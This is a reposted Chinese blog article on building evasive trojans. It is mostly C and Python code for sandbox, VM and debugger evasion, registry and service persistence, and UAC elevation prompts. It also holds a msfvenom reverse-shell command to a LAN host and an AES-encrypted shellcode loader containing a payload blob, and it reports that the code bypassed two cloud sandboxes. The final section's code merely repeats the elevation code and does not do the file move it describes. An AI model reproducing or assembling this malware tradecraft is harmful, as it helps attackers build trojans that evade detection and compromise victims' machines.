一些木马反制技巧，从零基础到精通，收藏这篇就够了！-优快云博客

在信息安全攻防领域，木马程序的隐藏与反制技术一直是研究的热点与难点。本篇文章深入探讨了恶意程序如何通过多种手段实现自我隐藏、逃避检测以及持久化运行。

文章作者：奇安信攻防社区（cike_y）

文章来源：https://forum.butian.net/share/4035

1►

反沙箱

沙箱（Sandbox）是一种隔离机制，通过创建一个受控的、隔离的计算环境，允许软件在不影响宿主系统或网络的情况下运行和测试。这种技术在恶意程序分析中尤为重要，因为它能够安全地捕获和分析恶意软件的行为、特征及其对系统和网络的影响。在国内，常用的两个在线云沙箱分析平台是微步和安恒

https://s.threatbook.com/``https://sandbox.dbappsecurity.com.cn/

接下来的案例实战测试将基于这两个平台进行

在沙箱环境中，常用的应用程序（如QQ、微信、钉钉等）通常不存在。为了检测是否运行在沙箱环境中，可以写一个白名单机制。将所有常用软件的名称添加到白名单中，然后遍历当前系统中的进程。如果白名单中的程序没有一个在运行，则可以判定当前环境可能为沙箱，从而触发木马程序退出

#include <windows.h>``#include <tlhelp32.h>``#include <stdio.h>``#include <stdbool.h>``   ``bool is_process_running(const char* process_name) {`    `bool found = false;`    `HANDLE hProcessSnap;`    `PROCESSENTRY32 pe32;``   `    `hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);`    `if (hProcessSnap == INVALID_HANDLE_VALUE) {`        `return false;`    `}``   `    `pe32.dwSize = sizeof(PROCESSENTRY32);``   `    `if (!Process32First(hProcessSnap, &pe32)) {`        `CloseHandle(hProcessSnap);`        `return false;`    `}``   `    `do {`        `if (strcmp(pe32.szExeFile, process_name) == 0) {`            `found = true;`            `break;`        `}`    `} while (Process32Next(hProcessSnap, &pe32));``   `    `CloseHandle(hProcessSnap);`    `return found;``}``   ``int main() {`    `if (!is_process_running("qq.exe") && !is_process_running("wechat.exe")) {`        `return 0;`    `}``   `    `return 0;``}

使用CreateToolhelp32Snapshot函数获取系统中所有进程的快照，然后用Process32First 函数获取第一个进程的信息，Process32Next 函数遍历剩余的进程，比较每个进程的名称（pe32.szExeFile）与 process_name，如果匹配则设置 found 为 true 并退出循环

实战测试，这两个云沙箱平台都无法正常运行程序，成功绕过沙箱

2►

反虚拟机

在手动分析恶意软件时，通常是在虚拟机环境中进行的。为检测程序是否在虚拟机中运行，可以读取特定的注册表信息。如果检测到当前程序正在虚拟机中运行，则自动退出程序，以避免分析和调试

#include <windows.h>``#include <stdio.h>``   ``int IsRunningInVM() {`    `char szHardware[256];`    `DWORD size = sizeof(szHardware);`    `int isVM = 0;``   `    `if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Enum\\IDE", "HardwareID", RRF_RT_REG_SZ, NULL, szHardware, &size) == ERROR_SUCCESS) {`        `if (strstr(szHardware, "VMware") || strstr(szHardware, "Virtual")) {`            `isVM = 1;`        `}`    `}``   `    `size = sizeof(szHardware);`    `if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum", "0", RRF_RT_REG_SZ, NULL, szHardware, &size) == ERROR_SUCCESS) {`        `if (strstr(szHardware, "VMware") || strstr(szHardware, "VBOX")) {`            `isVM = 1;`        `}`    `}``   `    `return isVM;``}``int main(int argc, char *argv[]) {`    `if (IsRunningInVM()) {`        `return 0;`    `}

RegGetValueA 被调用以从注册表路径 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE 中检索 HardwareID 的值，如果调用成功（返回 ERROR_SUCCESS），则检查检索到的字符串（szHardware）是否包含子字符串 “VMware” 或 “Virtual” ，如果找到任一子字符串，则将 isVM 设置为 1 ，第二个if判断同理

如果返回1，则代表程序在虚拟机里运行，执行退出指令

3►

反调试

使用IsDebuggerPresent函数可以防止逆向工程工具进行动态调试

#include <windows.h>``#include <stdio.h>``   ``void checkDebugger() {`    `if (IsDebuggerPresent()) {`        `ExitProcess(1);``}``   ``int main() {`    `checkDebugger();`    `return 0;``}

IsDebuggerPresent() 返回非零值，意味着检测到调试器，程序将调用 ExitProcess(1)退出程序，实测xdbg调试程序时会触发退出

4►

添加到开机启动项

"Software\\Microsoft\\Windows\\CurrentVersion\\Run" 是一个注册表路径，用于存储当前用户登录时自动运行的程序。我们可以将当前程序的路径写入该注册表项，以实现开机自启动功能

#include <windows.h>``#include <stdio.h>``   ``void add_to_startup(const char *appname, const char *path) {`    `HKEY hKey;`    `LONG result;``   `    `result = RegOpenKeyEx(HKEY_CURRENT_USER,`                          `"Software\\Microsoft\\Windows\\CurrentVersion\\Run",`                          `0, KEY_SET_VALUE, &hKey);``   `    `if (result != ERROR_SUCCESS) {`        `return;`    `}``   `    `result = RegSetValueEx(hKey, appname, 0, REG_SZ, (BYTE *)path, strlen(path) + 1);``   `    `RegCloseKey(hKey);``}``   ``int main(int argc, char *argv[]) {`    `char path[MAX_PATH];`    `if (GetModuleFileName(NULL, path, MAX_PATH) == 0) {`        `return 1;`    `}`    `add_to_startup("MyAppName", path);``}

实测写入注册表时只有360会有提示，火绒和defender不会弹出提示

5►

AES混淆shellcode

首先需要cs或者msf生成raw格式的shellcode源文件，这里用msf举例

msfvenom -p  windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=8888 -f raw -o msf.bin

然后用python脚本生成aes加密的key和加密后的shellcode

import sys``from Crypto.Cipher import AES``from Crypto.Util.Padding import pad``from os import urandom``import hashlib``   ``def AESencrypt(plaintext, key):`    `k = hashlib.sha256(KEY).digest()`    `iv = 16 * b'\x00'`    `plaintext = pad(plaintext, AES.block_size)`    `cipher = AES.new(k, AES.MODE_CBC, iv)`    `ciphertext = cipher.encrypt(plaintext)`    `return ciphertext,key``   ``def printResult(key, ciphertext):`    `print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')`    `print('unsigned char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')``   ``try:`    `file = open(sys.argv[1], "rb")`    `content = file.read()``except:`    `print("Usage: .\AES_cryptor.py PAYLOAD_FILE")`    `sys.exit()``   ``KEY = urandom(16)``ciphertext, key = AESencrypt(content, KEY)``   ``printResult(KEY,ciphertext)

在木马里写入aes解密脚本即可

#include <windows.h>``#include <string.h>``#include <stdlib.h>``#include <stdio.h>``#include <wincrypt.h>``#include <shlobj.h>``#pragma comment(lib, "crypt32.lib")``#pragma comment(lib, "advapi32.lib")``   ``void aes(char* code, DWORD codeLen, char* key, DWORD keyLen) {`    `HCRYPTPROV hProv;`    `HCRYPTHASH hHash;`    `HCRYPTKEY hKey;``   `    `if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {`        `return;`    `}`    `if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {`        `return;`    `}`    `if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {`        `return;`    `}`    `if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {`        `return;`    `}``   `    `if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, &codeLen)) {`        `return;`    `}``   `    `CryptReleaseContext(hProv, 0);`    `CryptDestroyHash(hHash);`    `CryptDestroyKey(hKey);``}``int main(int argc, char *argv[]) {`        `unsigned char key[] = { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 };`        `unsigned char code[] = {0xa0, 0x82, 0xa3, 0xbf, 0xce, 0xd5, 0xd5, 0xce, 0x0, 0xf8, 0xc1, 0x34, 0x7f, 0x39, 0xcf, 0xdb, 0xf2, 0xd3, 0x72, 0x2c, 0xf2, 0x8c, 0xf7, 0xc4, 0xaf, 0x66, 0xb7, 0x82, 0xb8, 0xbe, 0x3, 0x31, 0xfc, 0x3d, 0x58, 0xd0, 0x99, 0xda, 0xdf, 0xc2, 0x3, 0xd, 0xa3, 0x3d, 0x59, 0xb, 0x73, 0x4b, 0x38, 0xa6, 0x1e, 0xd7, 0xd7, 0x9f, 0x63, 0x84, 0xb8, 0xe2, 0x0, 0x53, 0x21, 0x7f, 0x17, 0x67, 0xfc, 0xc7, 0xd0, 0x72, 0x5e, 0x86, 0xff, 0xa4, 0x8d, 0x47, 0x53, 0xa0, 0x4, 0xee, 0x6e, 0x16, 0xe9, 0x4e, 0x15, 0x2, 0x6a, 0x84, 0x8c, 0x59, 0xd1, 0xb0, 0x16, 0x3b, 0x78, 0x6a, 0x4a, 0x16, 0xfe, 0x44, 0x47, 0x4e, 0x86, 0x97, 0xb6, 0x3b, 0xaa, 0xff, 0xab, 0x4, 0x80, 0x54, 0x5e, 0xbd, 0x8f, 0x88, 0x8c, 0x34, 0xdb, 0xe8, 0xfd, 0x49, 0xe9, 0x16, 0x1f, 0xff, 0x64, 0xb3, 0xe0, 0xce, 0x43, 0xb1, 0x6f, 0x55, 0xba, 0x68, 0x30, 0xc8, 0x77, 0x63, 0xc9, 0xf0, 0x23, 0x75, 0xe, 0x82, 0xc2, 0x76, 0x87, 0x3e, 0x43, 0xcd, 0x3b, 0xb6, 0x97, 0x33, 0x2, 0x7c, 0x12, 0x5e, 0xd3, 0x74, 0x85, 0xc5, 0x24, 0x42, 0x45, 0x53, 0xda, 0x4a, 0x3e, 0x95, 0x40, 0x57, 0x8d, 0xd5, 0x70, 0x6, 0xb8, 0x3f, 0xa4, 0x67, 0x4, 0x42, 0xaa, 0x61, 0x31, 0x70, 0x2a, 0x28, 0x9, 0x70, 0xdd, 0xd1, 0xf2, 0x73, 0xd2, 0x2f, 0x38, 0xd4, 0x22, 0xab, 0x68, 0xd2, 0x63, 0x47, 0xb3, 0x3a, 0xee, 0xa9, 0x6f, 0x53, 0x83, 0xb6, 0x4e, 0x25, 0xbf, 0x18, 0x41, 0xf8, 0x3e, 0xcd, 0x3b, 0x97, 0x8, 0xb3, 0x18, 0x5c, 0x59, 0xbf, 0xc6, 0x7a, 0xa, 0x6d, 0x80, 0x9b, 0xa3, 0x24, 0x89, 0x8, 0x6a, 0x27, 0x1a, 0x25, 0x92, 0x12, 0x81, 0x57, 0x90, 0x6, 0x17, 0x92, 0xaa, 0x7e, 0x5d, 0x7, 0xf8, 0xd1, 0x38, 0x74, 0x4f, 0xab, 0xb2, 0xc1, 0x15, 0xf8, 0x65, 0xf1, 0x59, 0x68, 0x0, 0x14, 0x58, 0x86, 0xcf, 0xc4, 0x3a, 0x3b, 0xbb, 0xc1, 0xc5, 0xdb, 0xef, 0x22, 0x85, 0x5, 0xdc, 0x89, 0x1e, 0xc6, 0x50, 0x81, 0x8, 0xd, 0x22, 0xab, 0xd8, 0x7d, 0xc6, 0x3c, 0xad, 0x49, 0x10, 0xdf, 0x6e, 0x92, 0x88, 0x99, 0xb8, 0x5d, 0xa6, 0xe3, 0x2d, 0xb7, 0x4c, 0xc6, 0xbb, 0xce, 0xd5, 0x4c, 0x5f, 0x7c, 0x22, 0xcb, 0xe7, 0x56, 0x12, 0xd9, 0xe6, 0x43, 0x3e, 0xa7, 0xc2, 0xca, 0xf6, 0x11, 0x10, 0x2b, 0xd5, 0xa9, 0xe2, 0x9d, 0x53, 0xb3, 0xcf, 0x46, 0xca, 0x65, 0xb0, 0x3a, 0xa4, 0x29, 0x18, 0x53, 0x68, 0xfc, 0xe6, 0xcf, 0xa6, 0xdb, 0x80, 0xae, 0x84, 0x98, 0x99, 0x2e, 0x88, 0xac, 0x7, 0x75, 0x35, 0x9d, 0x24, 0x59, 0x6b, 0x4f, 0x78, 0x34, 0xef, 0x2b, 0x19, 0x72, 0x34, 0x1a, 0x52, 0x46, 0xe9, 0x50, 0x26, 0x12, 0xee, 0x10, 0xd, 0x6d, 0x3, 0x8b, 0x73, 0x21, 0x11, 0x22, 0x3d, 0x17, 0xe2, 0x39, 0x5c, 0x6, 0xd7, 0x21, 0xad, 0xd1, 0x8f, 0xd2, 0x5f, 0xd2, 0xeb, 0x20, 0xd1, 0x1c, 0x7c, 0x64, 0xb9, 0xa9, 0x76, 0x1d, 0xfa, 0xbc, 0x10, 0x13, 0x67, 0x8f, 0x71, 0xf9, 0x1d, 0x74, 0xb5, 0xf2, 0xd6, 0xed, 0xd4, 0xcf, 0xc, 0x4f, 0xb1, 0x3, 0x7b, 0x6f, 0x55, 0x13, 0x62, 0x1c, 0x3b, 0x17, 0xe6, 0xa2, 0xbf, 0x23, 0x5d, 0x5, 0x7a, 0x9d, 0x39, 0x87, 0x51, 0x13, 0xd9, 0xae, 0xbb, 0xb, 0xa8, 0xfd, 0x6c, 0x55, 0xde, 0x18, 0x4c, 0x98, 0xe1, 0x31, 0x7b, 0xd1, 0x37, 0xbd, 0x91, 0xc6, 0x63, 0x92, 0x61, 0xb9, 0x75, 0xb4, 0xdc, 0xcf, 0xb9, 0xfe, 0x5b, 0xb4, 0x5d, 0xd4, 0x22, 0x6e, 0x8d, 0xc0, 0xd, 0xce, 0x97, 0xd8, 0x8b, 0x40, 0x5c, 0x1c, 0xcb, 0x3, 0xb8, 0xe9, 0x30, 0x49, 0x95, 0xe0, 0x3d, 0x13, 0xd, 0x14, 0x15, 0xb9, 0x6b, 0xbd, 0x9, 0xfc, 0x77, 0x4d, 0xac, 0xb, 0x28, 0x69, 0xd5, 0xec, 0x7, 0x47, 0x50, 0x2, 0x9c, 0x10, 0x11, 0xf7, 0xe, 0x55, 0x4, 0xa3, 0x7e, 0x5b, 0x96, 0x36, 0x6b, 0x62, 0xf6, 0x65, 0x18, 0x44, 0x82, 0x52, 0x98, 0x98, 0x9f, 0x8e, 0x5f, 0xc1, 0x92, 0x56, 0xc0, 0xb4, 0x54, 0x8c, 0x65, 0xfe, 0xb6, 0xc6, 0x26, 0x4, 0x9e, 0xf0, 0xa7, 0x75, 0x95, 0x1e, 0x8e, 0xd1, 0xb0, 0x41, 0x83, 0xe, 0x79, 0xa9, 0x1b, 0x28, 0x68, 0x75, 0x8a, 0xd0, 0x38, 0x8b, 0x47, 0x5a, 0xc2, 0xe, 0x6d, 0x96, 0x6e, 0xe7, 0x45, 0xe1, 0x7e, 0x95, 0x80, 0xf3, 0xc4, 0xce, 0xc5, 0x11, 0x70, 0x63, 0x36, 0x79, 0x5c, 0x9e, 0x4f, 0x35, 0xe2, 0x6d, 0x28, 0x4, 0x9d, 0xdb, 0x2a, 0x2d, 0x8b, 0x5f, 0xcf, 0xb0, 0xda, 0xab, 0x10, 0x9b, 0xec, 0xaf, 0x13, 0x34, 0xe8, 0x65, 0x2b, 0x6f, 0xf4, 0xc9, 0x43, 0x35, 0x6c, 0x56, 0x2f, 0xa9};``   `        `DWORD code_length = sizeof(code);`        `aes((char*)code, code_length, key, sizeof(key));`        `//现在解密了shellcode，之后运行code函数即可``   ``}

6►

开机自启动服务注册

windows服务注册需要管理员权限，可以提权后或者弹框申请管理员权限运行后再执行注册服务功能

#include <windows.h>``#include <string.h>``#include <stdlib.h>``#include <stdio.h>``#include <wincrypt.h>``#include <shlobj.h>``#pragma comment(lib, "crypt32.lib")``#pragma comment(lib, "advapi32.lib")``   ``void CreateServiceToRunAtStartup() {`    `SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);`    `if (schSCManager == NULL) {`        `return;`    `}``   `    `char path[MAX_PATH];`    `SHGetSpecialFolderPath(NULL, path, CSIDL_WINDOWS, FALSE);`    `strcat(path, "\\host.exe");``   `    `SC_HANDLE schService = CreateService(`        `schSCManager,``         "host",  ``         "host",  ``         SERVICE_ALL_ACCESS,  ``         SERVICE_WIN32_OWN_PROCESS,  ``         SERVICE_AUTO_START,  ``         SERVICE_ERROR_NORMAL,  ``         path,  ``        NULL, NULL, NULL, NULL, NULL);``   `    `if (schService == NULL) {`        `CloseServiceHandle(schSCManager);`        `return;`    `}``   `    `CloseServiceHandle(schService);`    `CloseServiceHandle(schSCManager);``}``   ``int main(int argc, char *argv[]) {`  `CreateServiceToRunAtStartup(); //会将当前程序注册一个名叫host.exe的windows服务，并且开机自启动``}

7►

弹窗申请管理员权限运行

#include <windows.h>``#include <string.h>``#include <stdlib.h>``#include <stdio.h>``#include <wincrypt.h>``#pragma comment(lib, "crypt32.lib")``   ``BOOL IsRunAsAdministrator() {`    `BOOL fIsRunAsAdmin = FALSE;`    `PSID pAdministratorsGroup = NULL;``   `    `SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;`    `if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,``        0, 0, 0, 0, 0, 0, &pAdministratorsGroup)) {`        `CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin);`        `FreeSid(pAdministratorsGroup);`    `}``   `    `return fIsRunAsAdmin;``}``   ``void ElevatePrivileges() {`    `if (!IsRunAsAdministrator()) {`        `char szPath[MAX_PATH];`        `if (GetModuleFileName(NULL, szPath, ARRAYSIZE(szPath))) {`            `SHELLEXECUTEINFO sei = { sizeof(sei) };`            `sei.lpVerb = "runas";`            `sei.lpFile = szPath;`            `sei.hwnd = NULL;`            `sei.nShow = SW_NORMAL;`            `if (!ShellExecuteEx(&sei)) {`                `exit(1);`            `}`            `exit(0);`        `}`    `}``}``int main(int argc, char *argv[]) {`    `ElevatePrivileges();``}

效果是这样，双击运行后会弹框申请管理员权限运行

8►

木马程序移动隐藏

#include <windows.h>``#include <string.h>``#include <stdlib.h>``#include <stdio.h>``#include <wincrypt.h>``#pragma comment(lib, "crypt32.lib")``   ``BOOL IsRunAsAdministrator() {`    `BOOL fIsRunAsAdmin = FALSE;`    `PSID pAdministratorsGroup = NULL;``   `    `SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;`    `if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,``        0, 0, 0, 0, 0, 0, &pAdministratorsGroup)) {`        `CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin);`        `FreeSid(pAdministratorsGroup);`    `}``   `    `return fIsRunAsAdmin;``}``   ``void ElevatePrivileges() {`    `if (!IsRunAsAdministrator()) {`        `char szPath[MAX_PATH];`        `if (GetModuleFileName(NULL, szPath, ARRAYSIZE(szPath))) {`            `SHELLEXECUTEINFO sei = { sizeof(sei) };`            `sei.lpVerb = "runas";`            `sei.lpFile = szPath;`            `sei.hwnd = NULL;`            `sei.nShow = SW_NORMAL;`            `if (!ShellExecuteEx(&sei)) {`                `exit(1);`            `}`            `exit(0);`        `}`    `}``}``int main(int argc, char *argv[]) {`    `ElevatePrivileges();``}

运行后将木马转移到了c:/windows目录下，改名为host.exe

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